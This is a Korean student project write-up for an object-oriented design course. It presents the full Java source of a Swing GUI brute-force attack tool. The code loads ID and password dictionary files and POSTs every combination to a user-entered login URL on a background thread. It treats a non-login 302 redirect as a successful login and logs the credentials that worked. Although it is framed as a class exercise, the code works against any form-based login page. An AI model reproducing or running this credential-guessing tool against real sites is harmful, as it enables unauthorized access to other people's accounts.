객체지향설계 프로젝트
Brute-Force Attack Tool
1. 프로젝트 개요
객체지향설제 수업에서 GUI 프로그래밍을 배우게 되어 GUI 기반의 브루트포스 공격 툴을 개발하게 되었습니다.
2. 주요 기능
- GUI 기반 로그인 시뮬레이션 (Java Swing)
- 사전(id.txt, password.txt) 파일을 이용한 아이디, 패스워드 추측
- 스레드를 이용한 멀티 태스킹
- 로그 출력
- 객체지향 설계 적용 (클래스 분리)
3. 클래스 설계
주요 클래스 구성:
- BruteForceApp: 실행 시작점 (main)
- BruteForceAttack: 전체 GUI 구성
- FileLoader: 파일 로딩
- LoginAttempt: 로그인 시도
- LogWindow: 로그 출력 창
4. 실행 화면
실행 화면 스크린샷:

로그 화면 스크린샷:

공격 성공 화면 스크린샷:

5. 코드
BruteForceApp
package bruteforce;
public class BruteForceApp {
public static void main(String[] args) {
// TODO Auto-generated method stub
new BruteForceAttack();
}
}
BruteForceAttack
package bruteforce;
import javax.swing.*;
import java.awt.*;
import java.io.File;
import java.util.List;
public class BruteForceAttack extends JFrame {
private JTextField urlField;
private JButton uploadIdButton, uploadPwButton, attackButton;
private File idFile, pwFile;
private List idList, pwList;
private LogWindow logWindow;
private LoginAttempt loginService;
public BruteForceAttack() {
setTitle("Brute Force Attack Tool");
setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
JPanel inputPanel = new JPanel(new GridLayout(4, 2, 10, 10));
inputPanel.setBorder(BorderFactory.createEmptyBorder(15, 15, 15, 15));
inputPanel.add(new JLabel("URL을 입력하세요:"));
urlField = new JTextField(20);
inputPanel.add(urlField);
inputPanel.add(new JLabel("아이디 파일을 선택하세요:"));
uploadIdButton = new JButton("업로드");
uploadIdButton.addActionListener(e -> {
idFile = FileLoader.chooseFile();
idList = FileLoader.readFile(idFile);
uploadIdButton.setText("업로드 완료");
});
inputPanel.add(uploadIdButton);
inputPanel.add(new JLabel("비밀번호 파일을 선택하세요:"));
uploadPwButton = new JButton("업로드");
uploadPwButton.addActionListener(e -> {
pwFile = FileLoader.chooseFile();
pwList = FileLoader.readFile(pwFile);
uploadPwButton.setText("업로드 완료");
});
inputPanel.add(uploadPwButton);
inputPanel.add(new JLabel(""));
attackButton = new JButton("공격 시작");
attackButton.addActionListener(e -> startAttack());
inputPanel.add(attackButton);
add(inputPanel);
pack();
setLocationRelativeTo(null);
setVisible(true);
logWindow = new LogWindow();
loginService = new LoginAttempt(logWindow);
}
private void startAttack() {
if (idList == null || pwList == null || urlField.getText().isEmpty()) {
JOptionPane.showMessageDialog(null, "URL을 입력하거나 아이디 또는 비밀번호 파일을 선택하세요.", "경고", JOptionPane.WARNING_MESSAGE);
return;
}
logWindow.clear();
logWindow.setVisible(true);
final String targetUrl = urlField.getText().trim();
new Thread(() -> {
logWindow.appendLog("공격 시작 중...");
boolean found = false;
StringBuilder successList = new StringBuilder();
for (String id : idList) {
for (String pw : pwList) {
if (loginService.tryLogin(targetUrl, id, pw)) {
String msg = "성공! \n ID: " + id + " / PW: " + pw;
logWindow.appendLog(msg);
successList.append(msg).append("\n");
found = true;
} else {
logWindow.appendLog("실패 - ID: " + id + " / PW: " + pw);
}
try { Thread.sleep(10); } catch (InterruptedException ignored) {}
}
}
if (found) {
JOptionPane.showMessageDialog(null, "성공한 ID/PW 목록:\n" + successList.toString(), "알림", JOptionPane.INFORMATION_MESSAGE);
} else {
logWindow.appendLog("실패! 로그인 실패.");
JOptionPane.showMessageDialog(null, "실패! 로그인 실패.", "경고", JOptionPane.WARNING_MESSAGE);
}
}).start();
}
}
람다식을 활용한 버튼 클릭 이벤트 간결하게 처리
파일 업로드를 완료한다면 '업로드'에서 '업로드 완료'로 변경됨
FileLoader
package bruteforce;
import javax.swing.*;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
public class FileLoader {
public static File chooseFile() {
JFileChooser fileChooser = new JFileChooser();
int result = fileChooser.showOpenDialog(null);
return (result == JFileChooser.APPROVE_OPTION) ? fileChooser.getSelectedFile() : null;
}
public static List readFile(File file) {
List list = new ArrayList<>();
if (file == null) return list;
try (Scanner scanner = new Scanner(file)) {
while (scanner.hasNextLine()) {
list.add(scanner.nextLine().trim());
}
} catch (IOException e) {
JOptionPane.showMessageDialog(null, "파일 읽기 실패: " + e.getMessage());
}
return list;
}
}
메인 스레드를 막지 않고, GUI가 멈추지 않도록 하기 위해서 새로운 스레드에서 수행
스레드 부분 또한 람다식 활용
LoginAttempt
package bruteforce;
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
public class LoginAttempt {
private final LogWindow logWindow;
public LoginAttempt(LogWindow logWindow) {
this.logWindow = logWindow;
}
public boolean tryLogin(String targetUrl, String id, String pw) {
try {
HttpURLConnection conn = (HttpURLConnection) new URL(targetUrl).openConnection();
conn.setRequestMethod("POST");
conn.setInstanceFollowRedirects(false);
conn.setDoOutput(true);
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
String postData = "username=" + id + "&password=" + pw;
try (OutputStream os = conn.getOutputStream()) {
os.write(postData.getBytes());
os.flush();
}
int code = conn.getResponseCode();
String location = conn.getHeaderField("Location");
return code == 302 && location != null && !location.contains("login");
} catch (IOException e) {
logWindow.appendLog("오류: " + e.getMessage());
}
return false;
}
}
LogWindow
package bruteforce;
import javax.swing.*;
import java.awt.*;
public class LogWindow extends JFrame {
private JTextArea textArea;
public LogWindow() {
setTitle("로그 창");
setSize(500, 400);
setLocationRelativeTo(null);
textArea = new JTextArea();
textArea.setEditable(false);
add(new JScrollPane(textArea), BorderLayout.CENTER);
}
public void appendLog(String message) {
SwingUtilities.invokeLater(() -> {
textArea.append(message + "\n");
});
}
public void clear() {
textArea.setText("");
}
}